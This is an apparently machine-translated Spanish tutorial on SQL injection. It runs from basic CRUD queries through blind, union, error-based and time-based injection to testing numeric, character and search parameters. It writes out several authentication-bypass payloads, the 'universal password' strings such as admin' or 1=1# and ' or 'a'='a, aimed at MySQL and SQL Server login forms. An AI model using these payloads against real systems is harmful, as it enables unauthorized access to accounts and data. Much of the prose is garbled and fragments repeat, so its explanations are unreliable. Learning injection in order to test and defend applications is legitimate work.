Sobre todo para ver la siguiente levixxxx escritura así que las cosas profundas, y luego mirar a su propio punto de sentirse bajo, no es fácil de entender, por lo que decidí. . .
En primer lugar, comprender CRUD
mesa de la biblioteca no debería tener que explicarlo.
1.Inserte en mesa de la biblioteca (columna 1, fila 2 ...) valores (valor 1, valor 2)
insert into 1.news values(3,’test’,’test’,’3’)
- Cadena recuerde usar comillas simples, el valor no es
. 2.select la fila 1, columna 2 de la tabla de base de datos (columna 1, columna 2 ...) - ( "*" se refiere a toda la columna)
- Límite - Sintaxis: límite (subíndice de partida, número de artículo) sigue en general el final de la instrucción
- seleccionar * de tablas de la base - Consulta Todos
- SELECT ID, título de la mesa de la biblioteca - la consulta "id" y la columna "título"
3.Borrar de la tabla de biblioteca donde id = 3 -. Borrar "id = 3" que la columna
biblioteca 4.update. Tabla 1 Columna = valor de ajuste, la columna condición de valor 2 =
type = '2' donde id = 2 - el "id = 2" en el "tipo" a 2
La consulta más básica
select * from 1.news where username='admin' and password='test'
select * from 1.news where username=' ' or ' '=' ' and password='test'
select * from 1.news where username= ' ' or 1=1#' and password='test'
- "- y # es el carácter de comentario, comentario el contenido de la parte de atrás."
- Mientras la línea a través de la lógica, prestar atención a la paréntesis de cierre, comilla simple cerrada, prestar atención ahora - código fuente proporcionado - han cerrado en
- una contraseña maestra 'o' a '=' a
- datos históricos adhesivas que de otro modo no obtiene los datos pueden ser unidos en los datos: el papel de la Unión (se mencionará más adelante, el uso inteligente de la relativamente volátil)
- ordenado por (también se menciona más adelante): la columna utilizada en la determinación de
primaria de inyección SQL
¿Qué es la inyección de SQL:
Parámetro enviada por el usuario contiene algunos caracteres en el ataque con base de datos SQL, cambiando así la semántica de los datos que desea obtener algún
- En cualquier lugar posible inyección de SQL, como árbitro, galleta, cuerpo, URL, etc.
[imágenes de cadenas extranjeras volcar falla, la estación de origen puede tener un mecanismo de cadena de seguridad, se recomienda guardar la imagen abajo subir directamente (img-qqDWDcKd-1585889714798) ( / Común inyección .png herramienta)]
¿Qué tipo de inyección SQL (forma de inyección no es lo mismo que el acceso a los datos clasificados):
1. ciego: de acuerdo con la lógica de verdadero y falso para determinar
- Principio : Por código ASCII, no admite chino, convertido a código ASCII comparando el tamaño de los caracteres tomadas función substr, determina el tamaño de la dicotomía, luego se convierte en datos de código ASCII, utilizando la función de hex Chino (el MySQL): convert chino a hexadecimal luego se convierte
2.union inyección: directamente a través de la consulta de unión para mostrar la página, tales como:
union select username from admin
3. Error de inyección de muestra: el uso de un mensaje de error de base de datos se inyecta, además se muestra un " '" mensaje de error, observe los mensajes de error o mensajes de error como - (que necesitan para inyectar un nivel muy alto, de todos modos, no puedo ...)
4. Inyección de retraso de tiempo de respuesta está determinada por la página de la función del sueño
inyección de SQL puede hacer:
1. Obtener archivo de base de datos (ABM)
2. Lectura y escritura de archivos
3. ejecutar comandos del sistema operativo
Cómo determinar si hay acceso:
Digital, carácter, forma de buscar
Una mesa muy importante, se debe tener en cuenta: INFORMATION_SCHEMA.TABLES
función existe se determina si existe una tabla:
exists(select 1 form information_schema.tables)
1. numérico:
-
verdadero y lo falso es falso, verdadero o falso es verdadero
sql=“select * from news where id=1 and 1=1” sql=”select * from news where id=1 order by 1“
-
Con el fin por el juez el número de columnas (por unos pocos es la primera de varias columnas, si la pantalla está presente, que no muestra que esta columna no existe, con el fin de determinar el uso de arriba) y luego unión, algunos programadores escribirán el orden por sí mismo, habrá xxxxxx orden por orden de situación xxxx, se mostrará un error de sintaxis y así sucesivamente, de modo que todo el tema real.
-
Algunos programas de consulta de tabla sólo los primeros datos, por lo que el frontal debe Negativos :? como id = 1 y 1 = 2
-
Algunos uso de la unión por debajo
2. Carácter:
sql=“select * from news where type=‘ xxx ’ “
sql=”select * from news where type=‘1’ and ‘1’=‘1’ ”
Además de antes y después de la necesidad de construir una gramática, con otro tipo digital son los mismos. (El exceso puede ser comentado 'con #)
está determinada por un número o carácter del método: el primer tipo está configurado de acuerdo con lo digital
inyección pseudo-estática:
500 404, pero no se da, el mensaje de error sql
método de posición de inyección después de 1.html 1, la misma razón, determina un número o un carácter, una herramienta de inyección marcas inyección súper sql
2. Por ejemplo, el método resultó ser asd111.html, esta vez se puede tratar de asd.php constructo? Id = 111 o asd.asp? Id = 111, etc.
3. Retire método para ver si .html normales
3. Tipo de búsqueda:
- Debe elegir un datos de palabras clave, de lo contrario no importa cómo no van a aparecer los resultados de estructura
select * from news where title like ‘ %xxxx% ’
- titular apareció en medio de este personaje, consultas difusas
select * from news where title like ‘ xxxx% ’
- comenzar con xxx, terminando con cualquier carácter
select * from news where title like ‘ %xxxx ’
- Al principio de cualquier carácter, terminando xxx
a cerca de sintaxis en sí, debido a que el medio es %% caracteres vacíos, así que todo va a abrir.
Debido a que es sometido por correo, por lo que puede comentar directamente #, Si en la obtención, a codificarse como URL, convertidos a% 23 #.
La contraseña universal:
select * from 1.news where username='admin'or 1=1# and password=''
Antes de aprender a mirar esta muy simple, se ve en la situación construida sobre el mismo, por lo general no conocen saben la contraseña de administrador.
-
admin' o 'a' = 'a
-
admin' o 1 = 1 # (MySQL)
-
admin' o 1 = 1- - (sqlserver)
-
admin 'o 1 = 1; - - (sqlserver) ';' declaración representa un multi-
frontal o una condición, seguida de una condición, no puede conocer la contraseña de la cuenta. -
Por lo general, herramienta de inyección SQL súper, paquete de solicitud de modificación, con el uso de captura.
or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver) # " ; "表示多语句
Es un frente o condición, seguida de una condición, no se conoce la contraseña de la cuenta.
- Por lo general, herramienta de inyección SQL súper, paquete de solicitud de modificación, con el uso de captura.